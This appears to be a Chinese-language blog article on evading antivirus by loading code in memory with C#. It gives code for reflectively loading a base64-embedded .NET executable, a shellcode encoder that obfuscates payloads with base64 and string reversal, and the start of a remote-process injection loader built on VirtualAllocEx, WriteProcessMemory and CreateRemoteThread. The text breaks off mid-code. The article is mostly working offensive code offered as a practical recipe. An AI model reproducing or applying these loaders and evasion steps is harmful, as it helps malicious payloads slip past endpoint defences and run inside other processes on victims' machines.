干货|C#内存加载免杀实战
2021-12-03 13:37:12 Author: mp.weixin.qq.com(查看原文) 阅读量:22 收藏

DemoExe代码如下:

using System;using System.Collections.Generic;using System.Diagnostics;using System.Linq;using System.Text;using System.Threading.Tasks; namespace DemoExe{    class Program    {        static void Main(string[] args)        {            Console.WriteLine("DemoExe Run!!");        }    }    public class Test    {        public static void TestMethod()        {            Process p = new Process();            p.StartInfo.FileName = "C:\\windows\\system32\\calc.exe";            p.Start();        }    }}

然后把DemoExe转换为base64字符串

using System;using System.Collections.Generic;using System.IO;using System.Linq;using System.Text;using System.Threading.Tasks; namespace Tobase64{    class Program    {        static void Main(string[] args)        {            byte[] base64Buff = File.ReadAllBytes("DemoExe.exe");            string base64string = Convert.ToBase64String(base64Buff);            Console.WriteLine(base64string);        }    }}

得到字符串值为:

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAG5uCqYAAAAAAAAAAOAAIgALATAAAAoAAAAIAAAAAAAALigAAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAANsnAABPAAAAAEAAAJwFAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAABEJwAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAANAgAAAAgAAAACgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAJwFAAAAQAAAAAYAAAAMAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAEgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAPKAAAAAAAAEgAAAACAAUAjCAAALgGAAADAAIAAQAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC5yAQAAcCgPAAAKKh4CKBAAAAoqcnMRAAAKJW8SAAAKch0AAHBvEwAACm8UAAAKJioeAigQAAAKKgAAAEJTSkIBAAEAAAAAAAwAAAB2NC4wLjMwMzE5AAAAAAUAbAAAACwCAAAjfgAAmAIAAJwCAAAjU3RyaW5ncwAAAAA0BQAAWAAAACNVUwCMBQAAEAAAACNHVUlEAAAAnAUAABwBAAAjQmxvYgAAAAAAAAACAAABRxUAAAkAAAAA+gEzABYAAAEAAAATAAAAAwAAAAQAAAABAAAAFAAAAA4AAAABAAAAAgAAAAAAqgEBAAAAAAAGABcBTQIGAIQBTQIGAEsAGwIPAG0CAAAGAHMA5AEGAPoA5AEGANsA5AEGAGsB5AEGADcB5AEGAFAB5AEGAIoA5AEGAF8ALgIGAD0ALgIGAL4A5AEGAKUAtgEGAIkC2AEGAB4A2AEKAIECGwIKAAQCGwIAAAAAAQAAAAAAAQABAAAAEADQAaIBQQABAAEAAQAQAJYCogFBAAEAAwBQIAAAAACRAN8BMQABAFwgAAAAAIYYFQIGAAIAZCAAAAAAlgATADcAAgCBIAAAAACGGBUCBgACAAAAAQB8AgkAFQIBABEAFQIGABkAFQIKACkAFQIQADEAFQIQADkAFQIQAEEAFQIQAEkAFQIQAFEAFQIQAFkAFQIQAGEAFQIVAGkAFQIQAHEAFQIQAHkAFQIQAIkAMwAaAIEAFQIGAJEAFQIGAJEA9gEfAJkAJgAQAJEAkAIkAC4ACwA7AC4AEwBEAC4AGwBjAC4AIwBsAC4AKwB5AC4AMwB5AC4AOwB5AC4AQwBsAC4ASwB/AC4AUwB5AC4AWwB5AC4AYwCXAC4AawDBAC4AcwDOAASAAAABAAAAAAAAAAAAAAAAAKIBAAAEAAAAAAAAAAAAAAAoAAoAAAAAAAQAAAAAAAAAAAAAACgA2AEAAAAAAAAAPE1vZHVsZT4AbXNjb3JsaWIAVGVzdE1ldGhvZABDb25zb2xlAHNldF9GaWxlTmFtZQBXcml0ZUxpbmUAR3VpZEF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUARGVtb0V4ZQBEZW1vRXhlLmV4ZQBTeXN0ZW0uUnVudGltZS5WZXJzaW9uaW5nAFByb2dyYW0AU3lzdGVtAE1haW4A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eT4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAwAAAAwOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=

然后还原DemoExe.exe,通过Assembly.Load()调用TestMethod方法。

using System;using System.Collections.Generic;using System.Linq;using System.Reflection;using System.Text;using System.Threading.Tasks; namespace LoadExe{    class Program    {        static void Main(string[] args)        {            string base64string = @"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAG5uCqYAAAAAAAAAAOAAIgALATAAAAoAAAAIAAAAAAAALigAAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAANsnAABPAAAAAEAAAJwFAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAABEJwAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAANAgAAAAgAAAACgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAJwFAAAAQAAAAAYAAAAMAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAEgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAPKAAAAAAAAEgAAAACAAUAjCAAALgGAAADAAIAAQAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC5yAQAAcCgPAAAKKh4CKBAAAAoqcnMRAAAKJW8SAAAKch0AAHBvEwAACm8UAAAKJioeAigQAAAKKgAAAEJTSkIBAAEAAAAAAAwAAAB2NC4wLjMwMzE5AAAAAAUAbAAAACwCAAAjfgAAmAIAAJwCAAAjU3RyaW5ncwAAAAA0BQAAWAAAACNVUwCMBQAAEAAAACNHVUlEAAAAnAUAABwBAAAjQmxvYgAAAAAAAAACAAABRxUAAAkAAAAA+gEzABYAAAEAAAATAAAAAwAAAAQAAAABAAAAFAAAAA4AAAABAAAAAgAAAAAAqgEBAAAAAAAGABcBTQIGAIQBTQIGAEsAGwIPAG0CAAAGAHMA5AEGAPoA5AEGANsA5AEGAGsB5AEGADcB5AEGAFAB5AEGAIoA5AEGAF8ALgIGAD0ALgIGAL4A5AEGAKUAtgEGAIkC2AEGAB4A2AEKAIECGwIKAAQCGwIAAAAAAQAAAAAAAQABAAAAEADQAaIBQQABAAEAAQAQAJYCogFBAAEAAwBQIAAAAACRAN8BMQABAFwgAAAAAIYYFQIGAAIAZCAAAAAAlgATADcAAgCBIAAAAACGGBUCBgACAAAAAQB8AgkAFQIBABEAFQIGABkAFQIKACkAFQIQADEAFQIQADkAFQIQAEEAFQIQAEkAFQIQAFEAFQIQAFkAFQIQAGEAFQIVAGkAFQIQAHEAFQIQAHkAFQIQAIkAMwAaAIEAFQIGAJEAFQIGAJEA9gEfAJkAJgAQAJEAkAIkAC4ACwA7AC4AEwBEAC4AGwBjAC4AIwBsAC4AKwB5AC4AMwB5AC4AOwB5AC4AQwBsAC4ASwB/AC4AUwB5AC4AWwB5AC4AYwCXAC4AawDBAC4AcwDOAASAAAABAAAAAAAAAAAAAAAAAKIBAAAEAAAAAAAAAAAAAAAoAAoAAAAAAAQAAAAAAAAAAAAAACgA2AEAAAAAAAAAPE1vZHVsZT4AbXNjb3JsaWIAVGVzdE1ldGhvZABDb25zb2xlAHNldF9GaWxlTmFtZQBXcml0ZUxpbmUAR3VpZEF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUARGVtb0V4ZQBEZW1vRXhlLmV4ZQBTeXN0ZW0uUnVudGltZS5WZXJzaW9uaW5nAFByb2dyYW0AU3lzdGVtAE1haW4A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eT4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAwAAAAwOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";            byte[] Buffer = Convert.FromBase64String(base64string);            Assembly assembly = Assembly.Load(Buffer);            Type type = assembly.GetType("DemoExe.Test");            MethodInfo method = type.GetMethod("TestMethod");            Object obj = assembly.CreateInstance(method.Name);            method.Invoke(obj, null);        }    }}

这里我们随便写个shellcode loader。通过简单base64编码,加点干扰符号再反转一下字符串。
using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Threading.Tasks; namespace ShellcodeEnc{    class Program    {        static void Main(string[] args)        {            /* length: 799 bytes */          byte[] buf = new byte[799]{shellcode};        String s = Convert.ToBase64String(buf);            string ss = Reversal.ReversalString(s);            Console.WriteLine(ss);         }    }} 
using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Threading.Tasks; namespace ShellcodeEnc{    class Reversal    {        //字符串反转        public static string ReversalString(string input)        {            string result = "";            for (int i = input.Length - 1; i >= 0; i--)            {                result += input[i];            }            return result;        }    }} 

然后写入base64shellcode.txt文件。

通过目标进程注入。

VirtualAllocEx在目标进程开辟空间

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, pro.AllocationType flAllocationType, pro.MemoryProtection flProtect);

WriteProcessMemory将数据写入指定进程中的内存区域

[DllImport("kernel32.dll")]public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

CreateRemoteThread创建一个在另一个进程的虚拟地址空间中运行的线程

[DllImport("kernel32.dll")]public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, pro.ThreadCreationFlags dwCreationFlags, out IntPtr lpThreadId);
using System;using System.Collections.Generic;using System.Diagnostics;using System.IO;using System.Linq;using System.Runtime.InteropServices;using System.Text;using System.Threading.Tasks;using static shellcodeLoader.pro; namespace shellcodeLoader{    class TargetProcessInject    {        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]        public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, pro.AllocationType flAllocationType, pro.MemoryProtection flProtect);        [DllImport("kernel32.dll")]        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);        